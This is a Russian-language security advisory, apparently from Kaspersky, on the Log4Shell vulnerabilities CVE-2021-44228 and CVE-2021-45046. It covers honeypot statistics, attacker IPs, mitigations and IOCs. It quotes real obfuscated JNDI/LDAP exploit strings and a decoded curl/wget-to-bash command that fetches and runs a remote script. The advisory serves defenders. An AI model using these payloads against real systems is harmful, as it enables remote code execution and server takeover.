Инциденты

Уязвимость CVE-2021-44228 в библиотеке Apache Log4j

Публикация обновлена 20.12.2021

Общая информация о CVE-2021-44228 и CVE-2021-45046

Две недели назад новостные агентства сообщили об обнаружении в библиотеке Apache Log4j критической уязвимости, получившей номер CVE-2021-44228 (уровень критичности CVSS 10 из 10). Угроза, также известная как Log4Shell или LogJam, представляет собой уязвимость удаленного выполнения кода (Remote Code Execution, RCE). Если злоумышленнику удастся проэксплуатировать ее на уязвимом сервере, у него появится возможность выполнить произвольный код и потенциально получить полный контроль над системой. Публично опубликованная проверка концепции (Proof оf Concept), как и тот факт, что уязвимость легко проэксплуатировать, делает CVE-2021-44228 особенно опасной.

Спустя некоторое время исследователи сообщили об уязвимости CVE-2021-45046. В первоначальных отчетах говорилось о том, что она может вызвать отказ в обслуживании (DoS) и уязвимы только специфические нестандартные конфигурации, поэтому она получила низкий уровень критичности 3,7. Однако, чуть позже он был повышен до 9,0, т.к. в ряде случаев атаки на основе этой уязвимости могут привести к удаленному исполнению кода (RCE).

«Лаборатория Касперского» осведомлена о ситуации с CVE-2021-44228, CVE-2021-45046 и опубликованными Proof оf Concept, а также о возможной эксплуатации этих уязвимостей злоумышленниками. Наши продукты защищают от атак, использующих перечисленные уязвимости, а также детектируют опубликованные PoC. Возможные имена вердиктов:

  • UMIDS:Intrusion.Generic.CVE-2021-45046.*
  • UMIDS:Intrusion.Generic.CVE-2021-44228.*
  • PDM:Exploit.Win32.Generic

Вердикты KATA:

  • Exploit.CVE-2021-44228.TCP.C&C
  • Exploit.CVE-2021-44228.HTTP.C&C
  • Exploit.CVE-2021-44228.UDP.C&C

Технические детали CVE-2021-44228 и CVE-2021-45046

Уязвимость удаленного выполнения кода CVE-2021-44228 была обнаружена в библиотеке Apache Log4j части Apache Logging Project. Если какой-либо продукт для записи файлов журналов использует уязвимую версию данной библиотеки с поставляемым JNDI-модулем, то есть большая вероятность эксплуатации CVE-2021-44228 в этом продукте. Уязвимы почти все версии Log4j, начиная с 2.0-beta9 и заканчивая 2.14.1.
Библиотека Log4j имеет механизм Lookup, который используется для выполнения запросов путем обработки специального синтаксиса в форматной строке. Например, с помощью него можно запрашивать различные параметры, такие как версия окружения Java через ${java:version} и т. д. При этом если указать в строке в качестве ключа jndi, то механизм Lookup будет осуществляться через JNDI API. По умолчанию все запросы осуществляются с префиксом java:comp/env/, однако авторы предусмотрели возможность указания собственного префикса — для этого в ключе надо поставить символ двоеточия. Здесь и кроется уязвимость: если указать в качестве ключа, например, jndi:ldap://, то запрос будет осуществляться на указанный LDAP-сервер. Также возможно использование и других протоколов для взаимодействия, например LDAPS, DNS, RMI.

«Лаборатория Касперского» продолжает следить за активностью вокруг эксплуатации уязвимости CVE-2021-44228, нам удалось извлечь ссылки, которые использовали атакующие. Наиболее интересные примеры приведены ниже:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}

Проанализировав собранные ссылки, мы получили представление о том, как атакующие пытаются поместить полезную нагрузку в содержимое нестандартных полей, таких как User-Agent, поле данных и поле параметров URL. Включение полезной нагрузки в эти поля по сути является техникой обхода простых мер безопасности, которые используются многими компаниями для защиты от этого типа атак.
Приведенный ниже фрагмент из журнала HTTP-сервера демонстрирует попытку эксплуатации:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"

Строка Base64 из запроса расшифровывается как:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Этот код скачивает с сервера по адресу 45.155.xxx.xxx вредоносный скрипт и далее запускает его, используя Bash.

Таким образом, контролируемый злоумышленником удаленный сервер может вернуть уязвимому серверу некий объект, который потенциально может привести к выполнению произвольного кода в системе или к утечке конфиденциальных данных. При этом злоумышленнику нужно всего лишь послать специальную строку через доступный ему механизм, который приведет к попытке записи этой строки в журнал и, соответственно, к ее обработке библиотекой Log4j. Для этого могут использоваться обычные HTTP-запросы, например, отправляемые через веб-формы, поля данных на сайте и т. п., а также любые другие виды взаимодействий, если они используют журналирование на серверной стороне.

Уязвимость CVE-2021-45046 имеет другой источник, связанный с функциональностью контекста потока (Thread Context), которая позволяет программисту присвоить значения множеству аттрибутов одновременно и потом подставлять их в сообщениях, используя специальный синтаксис. Если продукт использует нестандартные схемы шаблонов с поиском по контексту, например, ${ctx:username}, то злоумышленник, имеющий контроль над именем пользователя, может осуществить рекурсивный поиск, который приведет к переполнению стека и вызовет отказ в обслуживании (DoS). В других сценариях с некоторыми специфическими конфигурациями это может даже привести к удаленному исполнению кода (RCE). К сожалению, меры противодействия, связанные с formatMsgNoLookups и noFormatMsgLookup, которые были предложены для исправления прошлой уязвимости, не предотвращают новую.

Статистика эксплуатации CVE-2021-44228

В период с 10 по 12 декабря наши ханипоты зафиксировали 8646 попыток эксплуатации уязвимости CVE-2021-44228. Пик атак пришелся на 12.00 GMT 11 декабря, тогда за час мы обнаружили 1700 вредоносных запросов к нашим ловушкам.

Количество попыток эксплуатации log4j в период с 10 по 12 декабря, по часам

Вот ТОР 10 наиболее активных IP-адресов атакующих, из числа обнаруженных к моменту этой публикации:

IP-адрес Страна Общее количество запросов
147.182.131[.]229 США 948
147.182.215[.]36 США 789
137.184.28[.]58 США 693
195.54.160[.]149 Россия 201
45.155.205[.]233 Германия 182
5.157.38[.]50 Швеция 134
46.105.95[.]220 Франция 108
131.100.148[.]7 Бразилия 104
113.141.64[.]14 Китай 103
221.228.87[.]37 Китай 83

Запросы к нашим ловушкам поступали со всего земного шара, однако самое большое их количество исходило из следующих стран:

Страна Общее количество запросов
США 1284
Китай 623
Германия 602
Великобритания 497
Канада 477
Нидерланды 476
Сингапур 449
Франция 420
Австралия 403
Япония 372

Вот наиболее активные системы, замеченные в массовом сканировании и попытках эксплуатации уязвимости:

ASN Общее количество запросов
DIGITALOCEAN-ASN 1612
M247 Ltd 1190
OOO Network of data-centers Selectel 833
GOOGLE 736
Host Universal Pty Ltd 547
Gigabit Hosting Sdn Bhd 316
Hydra Communications Ltd 247
Event Zero 239
PERFORMIVE 228
Intertelecom Ltd 196

Противодействие эксплуатации CVE-2021-44228 и CVE-2021-45046

  • По возможности установите самую последнюю версию библиотеки Apache Log4j. Вы можете скачать ее на странице проекта. В случае если библиотека используется в стороннем продукте, необходимо следить и своевременно устанавливать обновления от поставщика программного обеспечения.
  • Следуйте рекомендациям Apache Log4j project.
  • Используйте защитные решения, которые предоставляют компоненты для управления уязвимостями, такие как Automatic Exploit Prevention в Kaspersky Endpoint Security для бизнеса. Компонент автоматической защиты от эксплойтов отслеживает подозрительные действия приложений и блокирует выполнение вредоносных файлов.
  • Используйте такие решения, как Kaspersky Endpoint Detection and Response и Kaspersky Managed Detection and Response, которые помогают выявить и остановить атаку на ранних стадиях — до того, как злоумышленники достигнут своих конечных целей.

Воздействие на продукты «Лаборатории Касперского»

Поддерживаемые продукты «Лаборатории Касперского» не подвержены уязвимостям CVE-2021-44228 и CVE-2021-45046.

Индикаторы заражения (IOC)

1cf9b0571decff5303ee9fe3c98bb1f1
194db367fbb403a78d63818c3168a355
18cc66e29a7bc435a316d9c292c45cc6
1780d9aaf4c048ad99fa93b60777e3f9
163e03b99c8cb2c71319a737932e9551

Уязвимость CVE-2021-44228 в библиотеке Apache Log4j

Ваш e-mail не будет опубликован. Обязательные поля помечены *

 

Отчеты

StripedFly: двуликий и незаметный

Разбираем фреймворк StripedFly для целевых атак, использовавший собственную версию эксплойта EternalBlue и успешно прикрывавшийся майнером.

Азиатские APT-группировки: тактики, техники и процедуры

Делимся с сообществом подходами, которые используют азиатские APT-группировки при взломе инфраструктуры, и подробной информацией о тактиках, техниках и процедурах (TTPs) злоумышленников, основанной на методологии MITRE ATT&CK.

Как поймать «Триангуляцию»

Эксперты «Лаборатории Касперского» смогли получить все этапы «Операции Триангуляция»: эксплойты нулевого дня для iOS, валидаторы, имплант TriangleDB и дополнительные модули.

Подпишитесь на еженедельную рассылку

Самая актуальная аналитика – в вашем почтовом ящике